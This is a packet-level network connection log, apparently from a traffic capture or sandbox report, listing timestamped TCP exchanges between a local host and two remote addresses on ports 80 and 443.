Dec 18, 2024 11:09:27.581166983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.581247091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.581331968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.581372976 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.582151890 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.582204103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.582242966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.582242966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.583219051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.583352089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.583367109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.583745003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.584228039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.584255934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.584300995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.584300995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.585119963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.585182905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.585197926 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.585798979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.586071968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.586178064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.586206913 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.586606979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.587055922 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.587165117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.587183952 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.587295055 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.588063002 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.588102102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.588136911 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.588136911 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.589097977 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.589108944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.589157104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.589158058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.590051889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.590101957 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.590162992 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.590495110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.591032982 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.591088057 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.591109991 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.591249943 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.591387987 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:27.591453075 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:27.592000961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.592020988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.592042923 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.592077017 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.592943907 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:27.592950106 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:27.592988968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.593030930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.593105078 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.593139887 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:27.593539953 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.593945026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.593983889 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.594031096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.594494104 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.594494104 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:27.594614983 CET	49919	443	192.168.2.6	172.67.179.109
Dec 18, 2024 11:09:27.594633102 CET	443	49919	172.67.179.109	192.168.2.6
Dec 18, 2024 11:09:27.594913006 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.594957113 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.594993114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.595335960 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.595948935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.595963001 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.596004963 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.596004963 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.596941948 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.597244024 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.597317934 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.597317934 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.597875118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.597938061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.597959995 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.597999096 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.599019051 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.599108934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.599153996 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.599153996 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.600064039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.600115061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.600152016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.600913048 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.600972891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.600972891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.601044893 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.601176023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.601959944 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.602005005 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.602083921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.602366924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.603144884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.603157997 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.603205919 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.603205919 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.603749037 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.603885889 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.603926897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.603926897 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.604718924 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.604769945 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.604806900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.604806900 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.605707884 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.605803967 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.605851889 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.605851889 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.606678963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.606797934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.606832981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.606832981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.607722998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.607800007 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.607834101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.607834101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.608668089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.608737946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.609081030 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.609246969 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.609651089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.609764099 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.609777927 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.609895945 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.610662937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.610743046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.610778093 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.610778093 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.611680984 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.611716032 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.611725092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.611767054 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.612622023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.612680912 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.612767935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.612801075 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.613723040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.613737106 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.613778114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.613778114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.614557981 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.614607096 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.614675045 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.614713907 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.615535021 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.615578890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.615644932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.615725040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.616569042 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.616607904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.616625071 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.616703033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.617562056 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.617583036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.617698908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.617698908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.618592978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.618634939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.618644953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.618684053 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.619514942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.619580030 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.619616032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.619616032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.620476961 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.620532990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.620611906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.620656013 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.760927916 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.761019945 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.761060953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.761101007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.761343956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.761384964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.761564016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.761594057 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.761604071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.761629105 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.762749910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.762792110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.762872934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.762913942 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.763555050 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.763597965 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.763716936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.763756990 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.764504910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.764549971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.764606953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.764643908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.765525103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.765588999 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.765638113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.765676022 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.766454935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.766495943 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.766557932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.766597033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.767512083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.767553091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.767620087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.767656088 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.768459082 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.768500090 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.768588066 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.768625975 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.769506931 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.769548893 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.769650936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.769689083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.770560980 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.770605087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.770633936 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.770670891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.771425009 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.771461964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.771486998 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.771522999 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.772366047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.772403002 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.772430897 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.772466898 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.773339987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.773376942 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.773453951 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.773488998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.774328947 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.774367094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.774430037 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.774466991 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.775363922 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.775403976 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.775500059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.775540113 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.776268005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.776309013 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.776434898 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.776473045 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.777252913 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.777293921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.777368069 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.777405024 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.778283119 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.778323889 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.778418064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.778456926 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.779244900 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.779284954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.779386044 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.779422998 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.780426025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.780466080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.780492067 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.780529022 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.781246901 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.781289101 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.781538963 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.781589985 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.782315016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.782356024 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.782471895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.782505989 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.783277988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.783318996 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.783459902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.783495903 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.784265995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.784303904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.784356117 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.784389019 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.785166025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.785202026 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.785249949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.785283089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.786130905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.786181927 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.786273956 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.786317110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.787108898 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.787146091 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.787214994 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.787250042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.788167000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.788202047 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.788336039 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.788368940 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.789055109 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.789089918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.789163113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.789196968 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.790054083 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.790096045 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.790157080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.790194035 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.791047096 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.791094065 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.791116953 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.791152954 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.792021036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.792061090 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.792154074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.792191029 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.792970896 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.793009043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.793237925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.793273926 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.793963909 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.793999910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.794101000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.794137001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.795023918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.795064926 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.795085907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.795125008 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.795955896 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.796006918 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.796083927 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.796120882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.797019005 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.797058105 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.797168016 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.797204971 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.797904015 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.797950983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.797987938 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.798026085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.798933983 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.798979044 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.799062014 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.799117088 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.799969912 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.800010920 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.800046921 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.800084114 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:27.800846100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:27.800894022 CET	49912	80	192.168.2.6	31.41.244.11
